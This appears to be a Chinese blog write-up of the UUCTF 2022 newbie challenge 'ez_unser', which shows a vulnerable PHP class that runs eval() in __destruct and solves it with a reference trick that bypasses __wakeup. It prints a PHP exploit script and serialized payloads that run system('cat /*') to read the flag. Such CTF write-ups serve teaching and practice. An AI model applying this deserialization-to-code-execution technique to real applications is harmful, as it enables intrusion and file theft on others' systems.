[UUCTF 2022 新生赛]ez_unser

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

正常序列化出来是O:4:"test":3:{s:1:"a";s:18:"system(cat /flag);";s:1:"b";i:2;s:1:"c";i:3;} 

if(!preg_match('/test":3/i',$a)) 序列化里面要有 "test":3 ,但又要绕过__wakeup(),这显然冲突了。

改不了变量属性,$a肯定会被' '覆盖,那怎么办呢?

把a的地址给到b,然后在把正确的内容给到c,因为有$this->b=$this->c

<?php
class test{
    public $a;
    public $b;
    public $c="system('cat /*');";
}

$a=new test();
$a->b=&$a->a;
echo serialize($a);
?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值